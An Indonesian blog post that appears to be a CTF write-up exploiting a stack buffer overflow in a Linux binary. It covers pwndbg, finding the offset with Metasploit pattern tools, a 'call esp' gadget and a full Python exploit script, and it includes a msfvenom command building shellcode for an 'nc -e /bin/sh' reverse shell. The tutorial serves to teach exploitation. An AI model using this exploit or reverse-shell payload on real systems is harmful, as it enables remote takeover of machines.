Buffer Overflow Exploit Linux Application
Buffer overflow adalah metode yang digunakan untuk membuat suatu application crash atau memberikan inputan melebihi dari batas penyimpanan stack memory yang digunakan dalam memperoses suatu aplikasi. Kali ini saya akan membuat writeup pengerjaan soal linux application dari komunitas xcode. Jika kalian berminat join dapat klik link discord ini.
Pertama saya sudah mendownload applicationya, lalu saya akan memberikan permission execute agar applikasinya dapat saya jalankan seperti dibawah.
$ chmod +x vulnerableapp2
Setelah itu saya akan mencoba menjalankan seperti umumnya, menjalankan applikasi binary di linux.
Ternyata mengalami error dengan segmentation salah, selanjutnya saya akan mencoba memberi inputan dasar sebesar 4 byte yaitu "AAAA", seperti dibawah ini:
$ ./vulnerableapp2 AAAA
Hasil dari ini aplikasi dapat berjalan normal dan tidak mendapatkan alert error seperti diawal. Ok, sekarang kita akan memberi inputan yang melebihi batas penyimpanan memory yang digunakan applikasi tersebut.
Bisa dilihat bahwa inputan kita berhasil membuat aplikasi over atau crash, disini saya menggunakan inputan script python dengan memberikan 800 byte karakter huruf A, berikut source commandnya:
$ ./vulnerableapp2 `python -c 'print "A" * 800'`
Saya sudah mendapatkan info bahwa 800 byte input dapat menyebabkan crash aplikasinya, sekarang mari kita test dengan menggunakan debugging, disini saya menggunakan pwndbg jika kalian belum punya atau kesulitan installasinya dapat cek postingan saya sebelumnya.
Kita sudah masuk didalam debuggernya dan kita akan fokus disini melihat perubahan pada register Extended Stack Pointer(ESP), Extended Base Pointer(EBP),Extended Instruction pointer(EIP).
Perlu diketahui setiap fungsi register yang kita gunakan ini mengacu pada berjalanya exploit kita nanti, seperti:
- Extended Stack Pointer(ESP) kita akan melihat pointer atau penunjuk data stack yang tersimpan didalam memory yang digunakan untuk memperoses aplikasi.
- Extended Base Pointer(EBP) ini kita akan melihat alamat memory yang menunjukan lokasi keberadaan parameter suatu fungsi dan juga variable pada suatu program yang berjalan.
- Extended Instruction pointer(EIP) digunakan sebagai pointer yang akan menunjukan pada cpu lokasi memory yang menyimpan perintah selanjutnya yang akan di eksekusi oleh CPU.
Sekarang kita akan coba untuk melakukan test ulang dengan menjalankan script python pada debugger yang mana akan memberi input sebesar 800 byte.
pwndbg> run `msf-pattern_create -l 800`
Starting program: /home/dig/CTF/soal2Excode/vulnerableapp2 `msf-pattern_create -l 800`
pwndbg> info registers eip
eip 0x35784134 0x35784134
pwndbg> exit
Undefined command: "exit". Try "help".
pwndbg>
zsh: suspended pwngdb ./vulnerableapp2
┌──(root💀dig)-[/home/dig/CTF/soal2Excode]
└─# msf-pattern_offset -q 0x35784134 148 ⨯ 1 ⚙
[*] Exact match at offset 704
#!/usr/bin/python
import struct
fuzz = "A" * 704
eip = struct.pack("<I", ini diisi dengan registry call esp pada aplikasi)
nop = "\x90" * 8
- import struct dan pada variable eip terisi struct.pack yang mana fungsi ini digunakan untuk membaca format teks kita agar sesuai dengan format arsitektur pada alamat memory menggunakan little endian.
- lalu pada nop ini adalah variable no opration, yang mana akan kita setting dengan 8 byte "\x90" akan terisi.
pwndbg> ropgadget --grep "call esp"
Saved corefile /tmp/tmp7twt6z73
0xffffc4eb : call esp
#!/usr/bin/python
import struct
fuzz = "A" * 704
eip = struct.pack("<I",
0xffffc4eb
)
nop = "\x90" * 8
$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="nc 192.168.1.6 4444 -e /bin/sh" LHOST=192.168.1.6 LPORT=4444 -b "\x20\x0a\x0d\x00\x3f" -f python -v shellcode
#!/usr/bin/python
import struct
fuzz = "A" * 704
eip = struct.pack("<I",
0xffffc4eb
)
nop = "\x90" * 8
shellcode = b""
shellcode += b"\xb8\xa7\x29\xb5\x66\xdb\xcb\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x11\x31\x42\x14\x83\xc2\x04"
shellcode += b"\x03\x42\x10\x45\xdc\xdf\x6d\xd1\x86\x72\x14"shellcode += b"\x89\x95\x11\x51\xae\x8e\xfa\x12\x58\x4f\x6d"
shellcode += b"\xfa\xfa\x26\x03\x8d\x19\xea\x33\x92\xdd\x0b"
shellcode += b"\xc4\xc3\xbe\x2b\xf5\x22\x72\x02\xc4\x62\x4a"
shellcode += b"\x74\x17\xa5\x9c\xa8\x63\x8d\xd4\x9c\xab\xc0"
shellcode += b"\x71\xfd\x84\x78\x10\x93\xf5\x0f\x8a\x6b\x5d"
shellcode += b"\xa3\xc3\x8d\xac\xc3"
print fuzz + eip + nop + shellcode
pwndbg> ropgadget --grep "call esp"
Saved corefile
/tmp/tmp7twt6z73
: call esp
0xffffc4eb
pwndbg> break *
Breakpoint 1 at
0xffffc4eb
pwndbg> run `python exploit.py`
0xffffc4eb
Setelah ini kita lanjutkan dengan perintah:
pwndbg> x/100x $esp
pwndbg> x/100bx $esp
Maka akan tampil seperti ini, lalu kita akan cocokan shellcode dengan hex shellcode yang ada di stack memory.
Belum ada Komentar untuk "Buffer Overflow Exploit Linux Application"
Posting Komentar